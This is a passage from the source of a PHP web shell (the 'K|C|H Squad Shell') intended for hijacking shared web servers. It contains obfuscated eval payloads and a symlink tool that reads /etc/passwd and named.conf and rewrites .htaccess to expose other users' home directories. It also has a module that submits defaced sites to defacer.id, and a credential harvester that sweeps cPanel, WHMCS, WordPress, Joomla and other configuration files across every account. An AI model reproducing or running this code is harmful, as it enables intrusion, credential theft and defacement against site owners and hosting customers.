  726.         eval(str_rot13(gzinflate(str_rot13(base64_decode(('vUddQtswFH1epf4HcCE1VUxbNvEwdSMGd9FeJtGhPaygyLZ5B6jc5AaHORP/fdf5IoXxsBeiSbGdZu491z6+cTiA1GVPdCkwDTIaDnM5lyVupoT5Nc1ymWWmWpZdRm9FXWOGqzguTlue4Utjpa+p53a411OCIcKZFCxqGVUES63F8XGSylAx3jr+oATX45SXE3LBubGwAsM16RLpY5Jlp+aHh1RR8jscWaPZpI0dzbay/hdZJJqkziiFUZV5t5ohSmIE1POy0M+Bl+381rjEL1whj5xmh/kwvC85oifDTp6wqlXyADr2ynAJKJgpiEaeTrCvLaDIA/J0OCD47FswS6Yi85pEzzrYVoNF2ujEg0OX0jJ1duvpWlW+hORmhxQIElNvPuS/inBksxEA98JsNaPjRIiU9civj2FpYL5jhElwWdN8KmUSZ3fm5NNn2pVFMWILSHUuPTFerhbfSYs1Xax+nV2s4u+Xl4slegNI6MckWBxvdmiUx6SRWHUftOXZ5jWmD/Gi9qAUbdMVvKPKP6elKVxA1QayIrWnG3A59y6ibiMjrDMd9OI+9UfcyU9QsvB3W5VwT4eDHam5xc85F8ACd40q3EvfeMxADe3HzatgAcLD58AhwYNoyOxJDvqc5pYhhrOHCO8Y097nXM6vJACLfvCEct6IWaMfGxj5VXOGSwk5Opai4J5n72gj0Wfza+sM+x29+D6bR5eFWaK2xCcCQcELBxy9Y8DbOjFY2nF26JjF88lC3zmYZHEJ8hYkTFaJFtp7j3dpzPvfdKxZKYx9j1CWkFJfuSbvZMzDAf78MRdXgQ724/Oz5cVtR7dA7BK95oW9TvX6id8rrLYhYIaupzSEqntthpHSeYK2aXmfYEWLxqojGkjH3mRJcryqge1uN6CvYvgbLZdJJPqPi928ml2vNqHd+yU4Q6botthiDsI//AU='))))));
  727.     } elseif($_GET['do'] == 'loghunter')
  728.     {eval(str_rot13(gzinflate(str_rot13(base64_decode(("tUl7YtpVEP87VXyHiZMr0BLsPJqqgJ14QyBquuNrXEUlEExeeL2E5hZ7wS5pmu9+s7ZWgDM5RCmWJXt0f7Pz3JnJ52lphOsTQ+odbjFOjaGl1CCfWIlGTyPgLguIpQ+VoQKRYD7x8N8mDhsqC/iZRJ9DoxtDqNYDyx4xYA+20BUmvjEF7mw4wlL9WZ8J5o69b6lpcyhg8Qipju+aXkAVo35z+/az5KVGhoozmlEBilhLltbJyVCl6WULvpDx7kNE11lDpQ14NJsKY9hQKEyligc8DHNJFU8xcrXUKgRGV6hWhVooC6xMRCshRH2fz31OLQCfKtyQGVyNpOOg+DflE+hSPAhY+VyXsxRlZ6p3x+qRaWsK2sfqx3B13OZmN4E1QrZ9xuyqqkG5KyaEzCsuidTJdfbJEWEGzOYOE5PAim4j1fEJ/eSOSz7XHm5cqFE2n3bv1XwO4jeYFvfNxmyzNSgkrivclR7zuenIilALjFRpEM65SNzHY2A0nGubQ8Fdv+igZpH2sgfcAblAO6Vpj8lUPkUQYezqhVcB3r2DxaJFKL2AlvDykRjQbmRtpXt90eu0zi/+MJu9U/uijb8VuUxbclBEsBs45k+zkpS3K6iYBVLFaBylnOgI0hRL5Y3FQXRZfmiYBqEwMTNal2AkLeYk59Uya4KEVgfxLZhvd2PP9Djjmxm+i3WCbKyD0jm/ely2bV0lC8ZrMI/PSC4dTjskikOPWSQKiiRBlYk2KBQLancWQQZPKjtVNbgbxDLisK9w5ZNcjAFea4uBWE9P9T1a6/e7mtFxb8YtIi+SxYw7S8EcHX4+7R8bVxyhipKCcTHI0urpvyS8ijMz4sz1Wh6GxcLeoH3wp2nwmR/8RjF/+WNj9+FKVsElEitlvUooy9iV913ikmym133XiZ2pQbgjQUJZQrjEE5mO2peRjLGrIc0EvygbVDwqA/c8J+SOLzB2Q6kSJp0MzIZnS+ZUHcuQxS8P5vT/2KW2meKRHbey2DEnkutEuHe1GtDBZRMI6HD2F8rxaCjBjx+QTxpKDfidRgsLX/VsOyt7Mm/6IohStil49uKEetKv3+73D0KMWDsk3BP0jfIvrUvo8YG21e3o94+7mnP8FXTYGyqXptOW2vVBNe2kdNwiZh+r/Ns6D/N6WPV+vrTAT8slKBWe8WvLrREPoeMLav70RqakveP7ZuvYcdErllZIvvJ77rg0sNlJhj1PnYNCxUdCm/1rPK6MLByKKpbARIhG7ES6OQm5NTdvM7826yo34HbLiMVo85WApX0fXpBkw5+LB9CNtD7hkLPex0rFQBHbKs5S5j2nxQVCGfrXN63ehflb++a622H1zN56+/qm9OpMGzw9o09LDyIMydh1CsuTqb6lvxOKR6yiefbiK97cQF4lre4/idARGdaujmDr5XvpxPQXP/guZC3mu3GcxgGvFiMWRjD2jvXBa3biz+dp/gU="))))));}  
  729. elseif($_GET['do'] == 'metu') {
  730.    
  731.  
  732. echo '<form action="?dir=$dir&do=metu" method="post">';
  733.     unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  734.     echo 'Byee !';
  735.    
  736. }
  737. elseif($_GET['do'] == 'about') {
  738.    
  739.     echo '<center>K|C|H Squad Shell<hr>Fucking Shell By FORBIDD3N -> Saiia Edit Lagy :(<br>For More Script Visit <a href="http://forbidd3n.tk/">Here</a>';
  740.    
  741. }
  742. elseif($_GET['do'] == 'symlink') {
  743. $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  744. $d0mains = @file("/etc/named.conf");
  745. ##httaces
  746. if($d0mains){
  747. @mkdir("cox_sym",0777);
  748. @chdir("cox_sym");
  749. @exe("ln -s / root");
  750. $file3 = 'Options Indexes FollowSymLinks
  751. DirectoryIndex jancox.htm
  752. AddType text/plain .php
  753. AddHandler text/plain .php
  754. Satisfy Any';
  755. $fp3 = fopen('.htaccess','w');
  756. $fw3 = fwrite($fp3,$file3);@fclose($fp3);
  757. echo "
  758. <table align=center border=1 style='width:60%;border-color:#333333;'>
  759. <tr>
  760. <td align=center><font size=2>S. No.</font></td>
  761. <td align=center><font size=2>Domains</font></td>
  762. <td align=center><font size=2>Users</font></td>
  763. <td align=center><font size=2>Symlink</font></td>
  764. </tr>";
  765. $dcount = 1;
  766. foreach($d0mains as $d0main){
  767. if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);
  768. flush();
  769. if(strlen(trim($domains[1][0])) > 2){
  770. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  771. echo "<tr align=center><td><font size=2>" . $dcount . "</font></td>
  772. <td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td>
  773. <td>".$user['name']."</td>
  774. <td><a href='$full/cox_sym/root/home/".$user['name']."/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>";
  775. flush();
  776. $dcount++;}}}
  777. echo "</table>";
  778. }else{
  779. $TEST=@file('/etc/passwd');
  780. if ($TEST){
  781. @mkdir("cox_sym",0777);
  782. @chdir("cox_sym");
  783. exe("ln -s / root");
  784. $file3 = 'Options Indexes FollowSymLinks
  785. DirectoryIndex jancox.htm
  786. AddType text/plain .php
  787. AddHandler text/plain .php
  788. Satisfy Any';
  789.  $fp3 = fopen('.htaccess','w');
  790.  $fw3 = fwrite($fp3,$file3);
  791.  @fclose($fp3);
  792.  echo "
  793. <table align=center border=1><tr>
  794. <td align=center><font size=3>S. No.</font></td>
  795. <td align=center><font size=3>Users</font></td>
  796. <td align=center><font size=3>Symlink</font></td></tr>";
  797.  $dcount = 1;
  798.  $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
  799.  while(!feof($file)){
  800.  $s = fgets($file);
  801.  $matches = array();
  802.  $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  803.  $matches = str_replace("home/","",$matches[1]);
  804.  if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  805.  continue;
  806.  echo "<tr><td align=center><font size=2>" . $dcount . "</td>
  807. <td align=center><font class=txt>" . $matches . "</td>";
  808.  echo "<td align=center><font class=txt><a href=$full/cox_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  809.  $dcount++;}fclose($file);
  810.  echo "</table>";}else{if($os != "Windows"){@mkdir("cox_sym",0777);@chdir("cox_sym");@exe("ln -s / root");$file3 = '
  811. Options Indexes FollowSymLinks
  812. DirectoryIndex jancox.htm
  813. AddType text/plain .php
  814. AddHandler text/plain .php
  815. Satisfy Any
  816. ';
  817.  $fp3 = fopen('.htaccess','w');
  818.  $fw3 = fwrite($fp3,$file3);@fclose($fp3);
  819.  echo "
  820. <div class='mybox'><h2 class='k2ll33d2'>server symlinker</h2>
  821. <table align=center border=1><tr>
  822. <td align=center><font size=3>ID</font></td>
  823. <td align=center><font size=3>Users</font></td>
  824. <td align=center><font size=3>Symlink</font></td></tr>";
  825.  $temp = "";$val1 = 0;$val2 = 1000;
  826.  for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);
  827.  if ($uid)$temp .= join(':',$uid)."\n";}
  828.  echo '<br/>';$temp = trim($temp);$file5 =
  829.  fopen("test.txt","w");
  830.  fputs($file5,$temp);
  831.  fclose($file5);$dcount = 1;$file =
  832.  fopen("test.txt", "r") or exit("Unable to open file!");
  833.  while(!feof($file)){$s = fgets($file);$matches = array();
  834.  $t = preg_match('/\/(.*?)\:\//s', $s, $matches);$matches = str_replace("home/","",$matches[1]);
  835.  if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  836.  continue;
  837.  echo "<tr><td align=center><font size=2>" . $dcount . "</td>
  838. <td align=center><font class=txt>" . $matches . "</td>";
  839.  echo "<td align=center><font class=txt><a href=$full/cox_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  840.  $dcount++;}
  841.  fclose($file);
  842.  echo "</table></div></center>";unlink("test.txt");
  843.  } else
  844.  echo "<center><font size=3>Cannot create Symlink</font></center>";
  845.  }
  846.  }    
  847. }
  848. elseif($_GET['do'] == 'defacerid') {
  849. echo "<center><form method='post'>
  850.         <u>Defacer</u>: <br>
  851.         <input type='text' name='hekel' size='50' value='FORBIDD3N'><br>
  852.         <u>Team</u>: <br>
  853.         <input type='text' name='tim' size='50' value='Intelsect'><br>
  854.         <u>Domains</u>: <br>
  855.         <textarea style='width: 450px; height: 150px;' name='sites'></textarea><br>
  856.         <input type='submit' name='go' value='Submit' style='width: 450px;'>
  857.         </form>";
  858. $site = explode("\r\n", $_POST['sites']);
  859. $go = $_POST['go'];
  860. $hekel = $_POST['hekel'];
  861. $tim = $_POST['tim'];
  862. if($go) {
  863. foreach($site as $sites) {
  864. $zh = $sites;
  865. $form_url = "https://www.defacer.id/notify";
  866. $data_to_post = array();
  867. $data_to_post['attacker'] = "$hekel";
  868. $data_to_post['team'] = "$tim";
  869. $data_to_post['poc'] = 'SQL Injection';
  870. $data_to_post['url'] = "$zh";
  871. $curl = curl_init();
  872. curl_setopt($curl,CURLOPT_URL, $form_url);
  873. curl_setopt($curl,CURLOPT_POST, sizeof($data_to_post));
  874. curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"); //msnbot/1.0 (+http://search.msn.com/msnbot.htm)
  875. curl_setopt($curl,CURLOPT_POSTFIELDS, $data_to_post);
  876. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  877. curl_setopt($curl, CURLOPT_REFERER, 'https://defacer.id/notify.html');
  878. $result = curl_exec($curl);
  879. echo $result;
  880. curl_close($curl);
  881. echo "<br>";
  882. }
  883. }
  884. }
  885.  
  886. elseif($_GET['do'] == 'config') {
  887.     if($_POST){
  888.         $passwd = $_POST['passwd'];
  889.         mkdir("cox_config", 0777);
  890.         $isi_htc = "Options all\nRequire None\nSatisfy Any";
  891.         $htc = fopen("cox_config/.htaccess","w");
  892.         fwrite($htc, $isi_htc);
  893.         preg_match_all('/(.*?):x:/', $passwd, $user_config);
  894.         foreach($user_config[1] as $user_cox) {
  895.             $user_config_dir = "/home/$user_cox/public_html/";
  896.             if(is_readable($user_config_dir)) {
  897.                 $grab_config = array(
  898.                                         "/home/$user_cox/.my.cnf" => "cpanel",
  899.                     "/home/$user_cox/.accesshash" => "WHM-accesshash",
  900.                     "/home/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
  901.                     "/home/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
  902.                     "/home/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
  903.                     "/home/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",             
  904.                     "/home/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
  905.                     "/home/$user_cox/public_html/forum/config.php" => "phpBB",
  906.                     "/home/$user_cox/public_html/sites/default/settings.php" => "Drupal",
  907.                     "/home/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
  908.                     "/home/$user_cox/public_html/app/etc/local.xml" => "Magento",
  909.                     "/home/$user_cox/public_html/admin/config.php" => "OpenCart",
  910.                     "/home/$user_cox/public_html/slconfig.php" => "Sitelok",
  911.                     "/home/$user_cox/public_html/application/config/database.php" => "Ellislab",                   
  912.                     "/home/$user_cox/public_html/whm/configuration.php" => "WHMCS",
  913.                     "/home/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
  914.                     "/home/$user_cox/public_html/central/configuration.php" => "WHM Central",
  915.                     "/home/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
  916.                     "/home/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
  917.                     "/home/$user_cox/public_html/submitticket.php" => "WHMCS",                                     
  918.                     "/home/$user_cox/public_html/configuration.php" => "Joomla",                   
  919.                     "/home/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
  920.                     "/home/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
  921.                     "/home/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",      
  922.                     "/home/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
  923.                     "/home/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
  924.                     "/home/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
  925.                     "/home/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
  926.                     "/home/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
  927.                     "/home/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
  928.                     "/home/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
  929.                     "/home/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
  930.                     "/home/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
  931.                     "/home/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
  932.                     "/home/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
  933.                     "/home/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
  934.                     "/home/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
  935.                     "/home/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
  936.                     "/home/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
  937.                     "/home/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
  938.                     "/home/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
  939.                     "/home/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
  940.                     "/home/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
  941.                     "/home/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
  942.                     "/home/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
  943.                     "/home/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
  944.                     "/home/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
  945.                     "/home/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
  946.                     "/home/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
  947.                     "/home/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
  948.                     "/home/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
  949.                     "/home/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
  950.                     "/home/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
  951.                     "/home/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
  952.                     "/home/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
  953.                     "/home/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
  954.                     "/home/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",                  
  955.                     "/home/$user_cox/public_html/wp-config.php" => "WordPress",
  956.                     "/home/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
  957.                     "/home/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
  958.                     "/home/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",     
  959.                     "/home/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
  960.                     "/home/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
  961.                     "/home/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
  962.                     "/home/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
  963.                     "/home/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
  964.                     "/home/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
  965.                     "/home/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
  966.                     "/home/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
  967.                     "/home/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
  968.                     "/home/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
  969.                     "/home/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
  970.                     "/home/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
  971.                     "/home/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
  972.                     "/home/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
  973.                     "/home/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
  974.                     "/home/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
  975.                     "/home/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
  976.                     "/home/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
  977.                     "/home/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
  978.                     "/home/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
  979.                     "/home/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
  980.                     "/home/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
  981.                     "/home/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
  982.                     "/home/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
  983.                     "/home/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
  984.                     "/home/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
  985.                     "/home/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
  986.                     "/home/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
  987.                     "/home/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
  988.                     "/home/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
  989.                     "/home/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
  990.                     "/home/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
  991.                     "/home/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal",
  992.                                         "/home1/$user_cox/.my.cnf" => "cpanel",
  993.                     "/home1/$user_cox/.accesshash" => "WHM-accesshash",
  994.                     "/home1/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
  995.                     "/home1/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
  996.                     "/home1/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
  997.                     "/home1/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",            
  998.                     "/home1/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
  999.                     "/home1/$user_cox/public_html/forum/config.php" => "phpBB",
  1000.                     "/home1/$user_cox/public_html/sites/default/settings.php" => "Drupal",
  1001.                     "/home1/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
  1002.                     "/home1/$user_cox/public_html/app/etc/local.xml" => "Magento",
  1003.                     "/home1/$user_cox/public_html/admin/config.php" => "OpenCart",
  1004.                     "/home1/$user_cox/public_html/slconfig.php" => "Sitelok",
  1005.                     "/home1/$user_cox/public_html/application/config/database.php" => "Ellislab",                  
  1006.                     "/home1/$user_cox/public_html/whm/configuration.php" => "WHMCS",
  1007.                     "/home1/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
  1008.                     "/home1/$user_cox/public_html/central/configuration.php" => "WHM Central",
  1009.                     "/home1/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
  1010.                     "/home1/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
  1011.                     "/home1/$user_cox/public_html/submitticket.php" => "WHMCS",                                    
  1012.                     "/home1/$user_cox/public_html/configuration.php" => "Joomla",                  
  1013.                     "/home1/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
  1014.                     "/home1/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
  1015.                     "/home1/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",     
  1016.                     "/home1/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
  1017.                     "/home1/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
  1018.                     "/home1/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
  1019.                     "/home1/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
  1020.                     "/home1/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
  1021.                     "/home1/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
  1022.                     "/home1/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
  1023.                     "/home1/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
  1024.                     "/home1/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
  1025.                     "/home1/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
  1026.                     "/home1/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
  1027.                     "/home1/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
  1028.                     "/home1/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
  1029.                     "/home1/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
  1030.                     "/home1/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
  1031.                     "/home1/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
  1032.                     "/home1/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
  1033.                     "/home1/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
  1034.                     "/home1/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
  1035.                     "/home1/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
  1036.                     "/home1/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
  1037.                     "/home1/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
  1038.                     "/home1/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
  1039.                     "/home1/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
  1040.                     "/home1/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
  1041.                     "/home1/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
  1042.                     "/home1/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
  1043.                     "/home1/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
  1044.                     "/home1/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
  1045.                     "/home1/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
  1046.                     "/home1/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
  1047.                     "/home1/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
  1048.                     "/home1/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",                 
  1049.                     "/home1/$user_cox/public_html/wp-config.php" => "WordPress",
  1050.                     "/home1/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
  1051.                     "/home1/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
  1052.                     "/home1/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",    
  1053.                     "/home1/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
  1054.                     "/home1/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
  1055.                     "/home1/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
  1056.                     "/home1/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
  1057.                     "/home1/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
  1058.                     "/home1/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
  1059.                     "/home1/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
  1060.                     "/home1/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
  1061.                     "/home1/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
  1062.                     "/home1/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
  1063.                     "/home1/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
  1064.                     "/home1/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
  1065.                     "/home1/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
  1066.                     "/home1/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
  1067.                     "/home1/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
  1068.                     "/home1/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
  1069.                     "/home1/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
  1070.                     "/home1/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
  1071.                     "/home1/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
  1072.                     "/home1/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
  1073.                     "/home1/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
  1074.                     "/home1/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
  1075.                     "/home1/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
  1076.                     "/home1/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
  1077.                     "/home1/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
  1078.                     "/home1/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
  1079.                     "/home1/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
  1080.                     "/home1/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
  1081.                     "/home1/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
  1082.                     "/home1/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
  1083.                     "/home1/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
  1084.                     "/home1/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
  1085.                     "/home1/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal",
  1086.                                         "/home2/$user_cox/.my.cnf" => "cpanel",
  1087.                     "/home2/$user_cox/.accesshash" => "WHM-accesshash",
  1088.                     "/home2/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
  1089.                     "/home2/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
  1090.                     "/home2/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
  1091.                     "/home2/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",            
  1092.                     "/home2/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
  1093.                     "/home2/$user_cox/public_html/forum/config.php" => "phpBB",
  1094.                     "/home2/$user_cox/public_html/sites/default/settings.php" => "Drupal",
  1095.                     "/home2/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
  1096.                     "/home2/$user_cox/public_html/app/etc/local.xml" => "Magento",
  1097.                     "/home2/$user_cox/public_html/admin/config.php" => "OpenCart",
  1098.                     "/home2/$user_cox/public_html/slconfig.php" => "Sitelok",
  1099.                     "/home2/$user_cox/public_html/application/config/database.php" => "Ellislab",                  
  1100.                     "/home2/$user_cox/public_html/whm/configuration.php" => "WHMCS",
  1101.                     "/home2/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
  1102.                     "/home2/$user_cox/public_html/central/configuration.php" => "WHM Central",
  1103.                     "/home2/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
  1104.                     "/home2/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
  1105.                     "/home2/$user_cox/public_html/submitticket.php" => "WHMCS",                                    
  1106.                     "/home2/$user_cox/public_html/configuration.php" => "Joomla",                  
  1107.                     "/home2/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
  1108.                     "/home2/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
  1109.                     "/home2/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",     
